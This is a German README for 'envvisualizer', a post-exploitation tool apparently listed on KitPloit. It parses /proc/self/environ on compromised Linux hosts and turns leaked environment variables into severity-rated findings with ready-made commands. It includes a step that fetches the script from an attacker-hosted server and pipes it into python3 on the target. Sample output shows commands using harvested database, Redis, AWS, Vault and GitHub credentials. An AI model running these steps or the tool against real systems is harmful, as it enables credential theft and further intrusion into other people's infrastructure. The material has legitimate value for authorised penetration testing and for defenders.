/proc/self/environ auf kompromittierten Linux-Boxen parsen und visualisieren — kategorisiert Umgebungsvariablen nach Tech-Stack (AWS, Django, Rails, NodeJS, MySQL, K8s, Docker usw.) und generiert nach Schweregrad bewertete Erkenntnisse mit sofort ausführbaren Befehlen
Parst, kategorisiert und visualisiert /proc/self/environ auf kompromittierten Linux-Maschinen.
Verwandelt eine Wand aus verschmolzenem Umgebungsvariablen-Text in strukturierte, farbcodierte Intel — in Sekunden.
Kopiere envvisualizer.py auf die Ziel- oder Angreifer-Maschine. Es läuft ohne Abhängigkeiten:
root@kitploit:~
# On the attacker machine — host it
python3 -m http.server 8080
# On the target machine — grab and run
curl http://<attacker-ip>:8080/envvisualizer.py | python3 - -f /proc/self/environ
Anforderungen
Abhängigkeit
Version
Erforderlich
Python
≥ 3.8
Ja
rich
≥ 13.0
Nein (Plain-Text-Fallback)
Verwendung
root@kitploit:~
usage: envvisualizer [-h] [-f PATH] [-r STRING] [--no-rich]
options:
-h, --help show this help message and exit
-f PATH, --file PATH Environ file path (null-byte delimited)
-r STRING, --raw STRING
Raw concatenated environ string (copy-pasted, no null bytes)
--no-rich Force plain-text output
Eingabemodi
Methode
Befehl
Genauigkeit
Direktes Dateilesen
python3 envvisualizer.py -f /proc/self/environ
✅ Perfekt (Null-Byte-Split)
Stdin-Pipe
cat /proc/self/environ | python3 envvisualizer.py
✅ Perfekt (Null-Byte-Split)
Eingefügter String
python3 envvisualizer.py -r 'USER=dev...'
✅ Gut (Zwei-Klassen-Heuristik)
Keine Argumente (Demo)
python3 envvisualizer.py
✅ Perfekt (eigener Prozess)
Tipp: Bevorzuge -f, wann immer du Dateizugriff hast.
Das Null-Byte-Trennzeichen in der echten Datei ist exakt — keine Heuristiken nötig.
Beispiele
Direkt aus proc lesen (beste Genauigkeit)
root@kitploit:~
# Current process
python3 envvisualizer.py -f /proc/self/environ
# Another process by PID
python3 envvisualizer.py -f /proc/1337/environ
# Any process you can read
python3 envvisualizer.py -f /proc/$(pgrep node)/environ
Über stdin pipen
root@kitploit:~
cat /proc/self/environ | python3 envvisualizer.py
Einen Rohstring einfügen (kopiert aus einer Web-Shell / RCE-Ausgabe)
Das Pentest Insights-Panel löst gezielte, stack-bewusste Erkennungen mit vier Schweregraden aus.
Ausführbare Befehle werden dynamisch aus den tatsächlich in der Umgebung gefundenen Werten generiert.
Schweregrad
Präfix
Bedeutung
💀 CRITICAL
[!!!]
Aktives Credential, Secret Key oder Master Key — unmittelbare Auswirkung
⚠ HIGH
[!! ]
Token, Debug-Modus oder exponierter Dienst — umsetzbarer Angriffspfad
→ MEDIUM
[! ]
Interessante Information, die bei der Eskalation helfen kann
▶ INFO
[ * ]
Allgemeiner Kontext über den Prozess und die Umgebung
DATABASE_URL, MONGODB_URI, etc. → markiert eingebettete Credentials
AWS
Key-Paar → markiert als langfristig oder STS-temporär, schlägt aws sts get-caller-identity vor
GCP
GOOGLE_APPLICATION_CREDENTIALS → schlägt gcloud auth activate-service-account vor
Azure
AZURE_CLIENT_SECRET → markiert Tenant-ID + schlägt az login --service-principal vor
HashiCorp Vault
VAULT_TOKEN + VAULT_ADDR → schlägt vault token lookup vor
Kubernetes
Injizierter KUBERNETES_SERVICE_HOST → markiert Pod-Kontext, schlägt SA-Token-Lesen vor
Docker
DOCKER_HOST gesetzt → markiert Daemon-Exposition
GitHub / GitLab
Tokens → schlägt API-Validierungs-curl-Befehle vor
Heroku
HEROKU_API_KEY → markiert mit App-Namen
Stripe
Live sk_live_* → CRITICAL; Test sk_test_* → MEDIUM
Datadog
DD_API_KEY → markiert Zugriff auf Metriken/Logs/Traces
Beispielausgabe (Multi-Stack-Szenario)
root@kitploit:~
── Pentest Insights ─────────────────────────────────────────────────────────
[!!!] PostgreSQL password in env → psql postgresql://appuser:[email protected]:5432/production_db
[!!!] DATABASE_URL contains embedded credentials → postgresql://admin:[email protected]:5432/maindb
[!!!] MongoDB root credentials in env → mongosh -u admin -p 'mongoS3cret'
[!!!] AWS long-term credentials → KEY=AKIAIOSFODNN7EXAMPLE (run: aws sts get-caller-identity)
[!!!] HashiCorp Vault token in env → vault token lookup addr: http://vault.internal:8200
[!!!] Stripe LIVE secret key — production payment API access
[!!!] Rails master key in env — decrypts config/credentials.yml.enc
[!! ] Redis auth → redis-cli -h redis.internal -p 6379 -a 'r3disP@ss'
[!! ] Inside Kubernetes pod → service host: 10.96.0.1
[!! ] GitHub token in env → curl -H 'Authorization: token $GITHUB_TOKEN' ...
[!! ] Django DEBUG=True — full stack traces served to users
[!! ] JVM remote debugging enabled → -agentlib:jdwp=... (try: jdb -attach <host>:<port>)
[ * ] Python venv active → /var/www/myapp/.venv
Wie der String-Parser funktioniert
Wenn /proc/self/environ kopiert und eingefügt wird (z. B. aus einer Web-Shell oder curl-Ausgabe), werden Null-Bytes entfernt, wodurch benachbarte Variablen verschmelzen:
root@kitploit:~
USER=dev·npm_config_user_agent=npm/8.5.1...
↑──↑↑───────────────────↑
value next key starts here
Ein naiver WORD=-Split würde devnpm_config_user_agent als Schlüssel erzeugen.
EnvVisualizer verwendet einen Zwei-Klassen-Grenzendetektor, der nur bei Folgendem splittet:
Großbuchstaben-dominante Schlüssel — USER, HOME, JOURNAL_STREAM, etc.
Da die Regex npm_config_user_agentinnerhalb des verschmolzenen Tokens findet, wird der vorherige Wert automatisch auf dev getrimmt. Kein Lookbehind, keine Word-Boundary-Annahmen — nur das Schlüsselmuster selbst als Anker.